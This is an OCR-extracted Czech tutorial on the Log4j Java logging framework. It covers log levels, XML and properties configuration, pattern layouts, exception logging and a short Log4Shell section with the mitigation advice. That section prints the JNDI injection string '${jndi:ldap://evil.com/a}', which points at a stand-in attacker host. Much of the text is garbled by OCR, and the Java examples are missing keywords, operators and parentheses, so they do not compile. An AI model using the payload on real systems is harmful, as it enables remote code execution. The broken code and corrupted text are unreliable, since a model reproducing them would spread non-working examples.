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Logdj

Log4j je popularni logovaci framework pro Javu, ktery umoznuje vyvojariim snadno zapisovat
logy do rliznych vystupd (soubory, databaze, konzole) s rliznymi Grovnémi detailu.

Co je Logdj

Log4j (Log for Java) je open-source knihovna od Apache Software Foundation, ktera poskytuje
flexibilni a vykonny systém pro logovani v Java aplikacich.

Zakladni informace:

 Jazyk: Java

e Autor: Apache Software Foundation

* Prvni verze: 2001

e Aktuadlni verze: Log4j 2.x (kompletné prepsana od verze 1.x)
e Licence: Apache License 2.0

Proc pouzivat Log4j

Vyhody oproti zakladnimu System.out.printin():

e Urovné logovani - DEBUG, INFO, WARN, ERROR, FATAL

Flexibilni vystupy - konzole, soubory, databaze, email, sit

Konfigurace bez upravy kdédu - pres XML, J]SON nebo properties soubory
Vykon - asynchronni logovani, minimalni overhead

Filtrace - logovani pouze z urcitych trid/balick{

Formatovani - vlastni format log zprav

Rotace logu - automatické archivovani starych logd

Zakladni architektura
Log4j 2 ma tfi hlavni komponenty:
1. Logger

Objekt, ktery zapisuje logy. Kazda trida ma typicky svij logger.

org.apache.logging.log4j.LogManager
org.apache.logging.log4j.Logger

MojeTrida
Logger logger
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LogManager.getLogger(MojeTrida.

void mojeMetoda
logger.debug("Debug zprava"
logger.info("Informativni zprava"
logger.warn("Varovani"
logger.error("Chyba"
logger.fatal("Kriticka chyba"

2. Appender

Urcuje, kam se logy zapisuiji:

» ConsoleAppender - vystup do konzole
 FileAppender - vystup do souboru

* RollingFileAppender - rotace log soubor(
e JDBCAppender - zapis do databaze

e SMTPAppender - odeslani emailu

» SocketAppender - sitové logovani

3. Layout

Urcuje format log zprav:

 PatternLayout - viastni format pomoci vzor(
e JSONLayout - vystup v JSON formatu

e XMLLayout - vystup v XML formatu

e HTMLLayout - HTML tabulka

Urovné logovani

Log4j 2 ma Sest Urovni zavaznosti (od nejméné po nejvice zavazné):

Uroveh|Metoda Pouziti

TRACE |logger.trace()|Velmi detailni informace pro hloubkové ladéni
DEBUG logger.debug() [Ladici informace uzitecné pfi vyvoji

INFO |logger.info() |Obecné informace o béhu aplikace

WARN [logger.warn() |Varovani o potencialnich problémech

ERROR |logger.error()|Chyby, které ale neukonci aplikaci

FATAL |logger.fatal()|Kritické chyby vedouci k padu aplikace

~

~
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(
)
)
(
(

~

Hierarchie drovni: KdyZ nastavite Uroven na INFO, budou se logovat INFO, WARN, ERROR a FATAL,
ale ne DEBUG a TRACE.
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Konfigurace Log4j

XML konfigurace (log4j2.xml)

<?xml version="1.0" encoding="UTF-8"?7>
<Configuration status="WARN">

<!-- Definice appenderd -->
<Appenders>
<!-- Vystup do konzole -->

<Console name="Console" target="SYSTEM OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level
%slogger{36} - %smsg%sn"/>
</Console>

<!-- Vystup do souboru s rotaci -->
<RollingFile name="RollingFile" fileName="1logs/app.log"
filePattern="1logs/app-%d{yyyy-MM-dd}-%i.log.gz">
<PatternLayout>
<pattern>%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1l}:%L -

%sm%n</pattern>
</PatternLayout>
<Policies>
<TimeBasedTriggeringPolicy />
<SizeBasedTriggeringPolicy size="10 MB"/>
</Policies>
<DefaultRolloverStrategy max="10"/>
</RollingFile>
</Appenders>
<!-- Definice loggerli -->
<Loggers>
<!-- Root logger - vychozi pro celou aplikaci -->

<Root level="info">
<AppenderRef ref="Console"/>
<AppenderRef ref="RollingFile"/>
</Root>

<!-- Specificky logger pro urcity balicek -->
<Logger name="com.mojefirma.modul" level="debug" additivity="false">
<AppenderRef ref="Console"/>
</Logger>
</Loggers>
</Configuration>

Properties konfigurace (log4j2.properties)

# Root logger
rootLogger.level info
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rootLogger.appenderRef.console.ref = Console
rootLogger.appenderRef.file.ref RollingFile

# Console appender

appender.console.type = Console

appender.console.name = Console

appender.console. layout.type = PatternLayout

appender.console. layout.pattern = %d{HH:mm:ss.SSS} [%t] %-5level %logger{36
- %MSsg%n

# File appender

appender.file.type = RollingFile

appender.file.name = RollingFile

appender.file.fileName = logs/app.log

appender.file.filePattern logs/app-%d{yyyy-MM-dd}.log.gz
appender.file.layout.type = PatternLayout

appender.file.layout.pattern = %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - S%m%n

Pattern Layout - formatovani

Nejpouzivanéjsi vzory (patterns) pro formatovani log zprav:

Vzor|Popis Priklad
%d |Datum a Cas 2026-01-06 14:23:15
%p |Uroven (level) INFO, ERROR

Nazev loggeru (tfida) (com.firma.MojeTrida
Nazev vldkna (thread)|main, Thread-1

o
(@]

o?°
—+

%m |Zprava Vlastni text zpravy
%n |Novy radek Zalomeni rfadku
%L |Cislo fadku 42

%M |Nazev metody mojeMetoda

%F |Nazev souboru MojeTrida. java

Priklad komplexniho patternu:

%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n

Vystup:

2026-01-06 14:23:15.123 [main] INFO com.firma.MojeTrida - Aplikace spusSténa

2026-01-06 14:23:16.456 [pool-1-thread-1] ERROR com.firma.Databaze -
Pripojeni selhalo

Praktické priklady pouziti
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Zakladni logovani

org.apache.logging. log4j.LogManager
org.apache.logging.log4j.Logger

Kalkulacka
Logger logger
LogManager.getlLogger (Kalkulacka.

int secti(int a, int b
logger.debug("Sc¢itam {} + {}", a, b
int vysledek = a + b
logger.info("Vysledek: {}", vysledek

vysledek

int vydel(int a, int b
logger.debug("Délim {} / {}", a, b

b 0
logger.error("Pokus o déleni nulou! a={}, b={}", a, b
ArithmeticException("Déleni nulou"

int vysledek = a b
logger.info("Vysledek: {}", vysledek
vysledek

Logovani vyjimek

void nactiSoubor(String cesta
logger.info("Nac¢itam soubor: {}", cesta

// Kéd pro cteni souboru

BufferedReader reader BufferedReader FileReader(cesta
// ...

logger.debug("Soubor UspésSné nacten"

FileNotFoundException e
logger.error("Soubor nenalezen: {}", cesta, e

I0Exception e
logger.error("Chyba pri cteni souboru: {}", cesta, e
RuntimeException("Nelze nacist soubor", e
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Vystup:

2026-01-06 14:23:15 INFO SouborovyManager:12 - Nacitam soubor: data.txt
2026-01-06 14:23:15 ERROR SouborovyManager:20 - Soubor nenalezen: data.txt
java.io.FileNotFoundException: data.txt (No such file or directory)

at java.io.FileInputStream.open@(Native Method)

at java.io.FilelInputStream.open(FileInputStream.java:195)

Podminéné logovani

// Nekontrolujte droven rucné - Log4j to déla automaticky

// SPATNE:
logger.isDebugEnabled
logger.debug("Zprava: " drahyVypocet

// DOBRE - pouZijte parametrizované zpravy:
logger.debug("Zprava: {}", drahyVypocet

// Nebo pro vice parametri:
logger.debug("Uzivatel {} provedl {} v {}",
uzivatel.getJmeno( ),
akce.getNazev(),
format(cas

Log4Shell - bezpecnostni problém

V prosinci 2021 byla objevena kriticka zranitelnost CVE-2021-44228 v Log4j 2 nazvana
Log4Shell.

Co se stalo:

o Utoénik mohl spustit vzdaleny kéd (Remote Code Execution)
e Pomoci specialniho textu v logu: ${jndi:ldap://evil.com/a}
e Postihlo miliony aplikaci po celém svété

Reseni:

e Aktualizovat na Log4j 2.17.0 nebo novéjsi
e Vypnout JNDI lookup: -Dlog4j2.formatMsgNoLookups=true
» Nahradit starsi verze

Doporuceni:

e VZdy pouzivejte nejnovéjsi verzi Log4j
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* Sledujte bezpecnostni bulletiny
* Pravidelné aktualizujte zavislosti

Alternativy k Log4j

e Logback - nastupce Log4j 1.x, rychlejsi

» SLF4) - abstraktni vrstva nad rdznymi logovacimi frameworky
« java.util.logging - vestavéné v Javé (méné funkci)

« tinylog - velmi lehky framework

Zavislosti (Maven)

Pro pouziti Log4j 2 v projektu:

<dependencies>
<!-- Log4j 2 API -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.22.1l</version>
</dependency>

<!-- Log4j 2 Core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.22.1</version>
</dependency>
</dependencies>

Shrnuti

Logdj je:

* Profesionalni nastroj pro logovani v Java aplikacich
Flexibilni - rGzné vystupy, formaty, Grovné

Vykonny - asynchronni logovani, minimalni overhead
Konfigurovatelny - bez zmény kédu

Nutno udrzovat aktualni kvili bezpecnosti

Pouziva se pro:

e Enterprise aplikace

e Webové servery (Tomcat, JBoss)
e Microservices

e Android aplikace (varianta)
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 VSude, kde potrebujete robustni logovani v Jave
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